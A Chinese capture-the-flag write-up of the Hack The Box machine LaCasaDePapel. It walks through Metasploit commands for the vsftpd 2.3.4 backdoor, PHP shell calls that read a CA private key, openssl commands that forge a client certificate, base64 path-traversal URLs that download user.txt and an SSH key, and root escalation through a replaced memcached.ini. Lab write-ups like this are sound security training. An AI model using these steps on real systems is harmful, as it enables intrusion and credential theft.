(因为是转发来的,若出现排版,乱码等问题就直接看有道的文档)有道分享链接地址:
文档:【HTB系列】靶机LaCasaDePapel的渗透测...
链接:http://note.youdao.com/noteshare?id=a475032917f4ec0bb32ce727d27509fd&sub=9534965F4D854085A4051A9957ADA6AD
1. 使用rlwarp来解决,反弹的shell上下方向键等无法使用乱码问题
2. vsftpd 2.3.4漏洞的利用
3. CVE-2018–19518 bypass的尝试
4. CA自签证书
5. 用得到的CA.key给自己签发证书
6. id_rsa文件转换为pem文件,并用ssh进行链接
Kali地址:10.10.12.32
先用nmap进行扫描
访问下80端口
中间的二维码需要用Google Authenticator 进行扫描得到一次性密码
输入一次性密码和邮箱
显示下面的这个页面
用gobuster来爆破下网站,没有收获到任何可用信息。
给这个网站增加https,出现了不一样的提示
我们需要CA的密钥给我们自己签发客户端身份认证证书
我看下其他的端口访问
我们检查下ftp 是否运行匿名登录,发现不允许匿名登录
root@kali:~/HTB# ftp 10.10.10.131 Connected to 10.10.10.131. 220 (vsFTPd 2.3.4) Name (10.10.10.131:root): anonymous 331 Please specify the password. Password: 530 Login incorrect. Login failed.
查看下vsftp可用的exp
root@kali:~/HTB# searchsploit vsftpd -------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------------- Exploit Title | Path | (/usr/share/exploitdb/) -------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------------- vsftpd 2.0.5 - 'CWD' (Authenticated) Remote Memory Consumption | exploits/linux/dos/5814.pl vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (1) | exploits/windows/dos/31818.sh vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (2) | exploits/windows/dos/31819.pl vsftpd 2.3.2 - Denial of Service | exploits/linux/dos/16270.c vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | exploits/unix/remote/17491.rb -------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
这里有一个刚好有一个2.3.4版本的exp,我们就用这个
msf5 > use exploit/unix/ftp/vsftpd_234_backdoor msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show advanced options 【显示高级选项】 msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set VERBOSE true 【显示详细攻击过程】 msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.10.10.131 msf5 exploit(unix/ftp/vsftpd_234_backdoor) > run
查看下EXP的源代码,发现会建立6200端口的监听。
同时建立的FTP账号
账号为:随机字母+:)
密码为:随机字母
通过nmap也可以看到靶机已经开始监听6200端口
然后我们用nc进行连接
也可以使用telnet进行连接
可以看到是psysh
这是它的网站:https://psysh.org/
我们输入PHP代码,它会进行执行
尝试执行下系统命令
发现无法执行
phpinfo()查看下PHP探针
尝试bypass:https://lab.wallarm.com/rce-in-php-or-how-to-bypass-disable-functions-in-php-installations-6ccdbf4f52bb
发现imap也被禁止
可以遍历文件,但是尝试读取user.txt的时候被禁止
在nairobi的家目录中我们找到了ca.key
scandir("/home/nairobi")
我们获取下ca.key的内容
file_get_contents("/home/nairobi/ca.key")
然后对内容进行整理,并存为ca.key
我们导出下客户端的证书
然后在生成客户端的私钥
openssl genrsa -out client.key 4096
生成 csr 文件(证书请求文件)
然后我们对csr进行签署得到证书
openssl x509 -req -in client.csr -CA lacasadepapel_htb.crt -CAkey ca.key -set_serial 9001 -extensions client -days 9002 -outform PEM -out client.cer
然后还要对证书进行转换(哪些要输入密码的地方直接回车即可)
openssl pkcs12 -export -inkey client.key -in client.cer -out client.p12
openssl pkcs12 -info -in client.p12
root@kali:~/HTB/LaCasaDePapel/ssl# openssl pkcs12 -info -in client.p12 Enter Import Password: MAC: sha1, Iteration 2048 MAC length: 20, salt length: 8 PKCS7 Encrypted data: pbeWithSHA1And40BitRC2-CBC, Iteration 2048 subject=C = CN, ST = ZJ, L = HZ, O = nbut, OU = ms08067, CN = sdfz, emailAddress = [email protected] PKCS7 Encrypted data: pbeWithSHA1And40BitRC2-CBC, Iteration 2048 Certificate bag Bag Attributes localKeyID: 9B 70 F2 13 D9 9D BC 11 D1 72 7C 98 6B D1 34 41 19 EC CF 40 subject=C = CN, ST = ZJ, L = HZ, O = nbut, OU = ms08067, CN = sdfz, emailAddress = [email protected] issuer=CN = lacasadepapel.htb, O = La Casa De Papel -----BEGIN CERTIFICATE----- MIIEHzCCAwcCAiMpMA0GCSqGSIb3DQEBCwUAMDcxGjAYBgNVBAMMEWxhY2FzYWRl cGFwZWwuaHRiMRkwFwYDVQQKDBBMYSBDYXNhIERlIFBhcGVsMB4XDTE5MDgwNzA2 MzkwNVoXDTQ0MDMzMDA2MzkwNVowczELMAkGA1UEBhMCQ04xCzAJBgNVBAgMAlpK MQswCQYDVQQHDAJIWjENMAsGA1UECgwEbmJ1dDEQMA4GA1UECwwHbXMwODA2NzEN MAsGA1UEAwwEc2RmejEaMBgGCSqGSIb3DQEJARYLdGVzdEBxcS5jb20wggIiMA0G CSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDhrgKXB/cGojbPRTc14DyMauLAibKp IhEXhyejrSNjw8UVg53K694PP0obCk/NWAGzMUkYo35VJIeKjgXZ/tceMBUdD9pG YsERwopcPjKb3Ys8LEDmhVf5PS7lfAgMundR3xEHEcuQ4x3elFWmwnQapfd3AJ2N uf5hWioh0u9RryCtDz6s1j7VmM3ZtJH4kumwjhaOjOHRhdcGUlGg8SbxAacerwio wGik6cxnE6tFgCCXZ53cKvdtshMjHuGw9INuhOOXz0hy5lsWANzr6JlMrDF0d9un EU76+azIsUbHIU/3gS+Fvu6TJ3QPTxv+MXFYdGon4N9G6H/R2EGBnnRnHGFb16j5 Sn7xw3/sDZ2WJq/P877Zp9NBrIKml+EMYwanoEhUnv/rPBkuIn2mf6yWMYuFTDWY 1U5qzefe0Oh8SgWmCVDLHwIx3+ZG5nCule1uR/x1uAGADXxWr9DnhsJisvNDV5k1 yQUj2B9irrtIVBoKAVbxBFS2oN0O4dh8QYUPx5qUUOugTDilF0GHwoIptzF5CuvR j06ZRVpJA1vs1724sJwOVqGP7ZfEbpXZz4GpC1D8UUF8lLIkdv6e2DKgJuDePSTw 9G6GNgflPqUFhqsxWPlGwP9pqwU100YEX/nOLF/YUh1XkInLVFlZCIxLWHzEKsYY /xZDXIEJKjPuJQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQABbYgw/Q3ZC7b7evtp nkxTqbk+pUHEG1mCstQ9d/e6clvvo7dLTMaJqv2GjwDCWFrIc61Bx4juLxkFoECq aszNcjFUx94ymmnODMtaYLsJcXuCKz8eTM6DwqYZt4Er5fK2QgK++yNzV+j4zbuv XdhyVvwej9O+ofuU0djM7vmm05aB3y7YoDpKa/AJZ6eU+Frp4LHEuxXjnXGzK83i YBeGU+fzJ8OHbVLTAZS+BcC5UYRAJxtBGsmIofJtqHFG5naP6DHOtbUPyvpatK74 T/g/qDyaXj2Y1/61CcVBJhtRo5i5gynXUbURYZmeQpTcGfi2cvfXeV7hGX4yvhyy qB6/ -----END CERTIFICATE----- PKCS7 Data Shrouded Keybag: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 2048 Bag Attributes localKeyID: 9B 70 F2 13 D9 9D BC 11 D1 72 7C 98 6B D1 34 41 19 EC CF 40 Key Attributes:
把client.p12文件在火狐的证书管理中进行导入(密码为空)
然后就是导入证书颁发机构
(如果出现已经存在的提示,可以先删除再导入)
然后访问网页
我们把鼠标放到选项上面,左下角会出现链接地址。
很明显是base64进行编码过的
尝试路径遍历,这就是berlin的家目录
尝试下载user.txt
https://10.10.10.131/file/Li4vdXNlci50eHQ=
我们再查看.ssh目录下有id_rsa,我们可以直接下载这个通过rsa进行登录
路径进行base64编码
https://10.10.10.131//file/Li4vLnNzaC9pZF9yc2E=
我们需要把id_rsa转换为pem格式
自己命名个pem文件然后把id_rsa的内容粘贴过来就行
用户一个个试过去,都要输入密码,但是professor用户不用
接下来就是获得root权限
目录中有 memcached.ini和memcached.js两个文件
我们不能访问memcached.js文件,但是memcached.ini能读,而我们又能读memcached.ini
我们可以看到mmcached.js使用着sudo,我们可以用这个来提权
command = sudo -u nobody /usr/bin/node /home/professor/memcached.js
我们下载个pspy来查看下进程情况
老办法用python 的simpleHTTPServer模块开启HTTP服务,然后让靶机用wget的方法进行下载
但是执行发现没有任何反应,那换个pspy
https://github.com/DominicBreuker/pspy/releases
这里用pspy64
pspy可以正常使用
我们用pspy -r /home 对home里面的活动进程监视
我们可以看到memcached.js的调用
而且id正是那个nobody
我们只能读memcached.ini文件,那么我们就删除掉这个文件自己重新新建一个memcached.ini文件
(因为不是同一天做的,Kali的IP发生了变化)
然后过几秒就可以得到root shell
1.自签数字证书:https://blog.csdn.net/hdyes/article/details/83241460
2.自签名证书和私有CA签名的证书的区别 创建自签名证书 创建私有CA 证书类型 证书扩展名:https://www.cnblogs.com/followyourheart/p/8489386.html
3.CA证书自签详解:https://blog.csdn.net/z344945251/article/details/72870129
4.openssl生成证书:https://www.cnblogs.com/jiangxiangxuan/p/5296166.html
5.https://10.10.10.131/file/Li4vdXNlci50eHQ=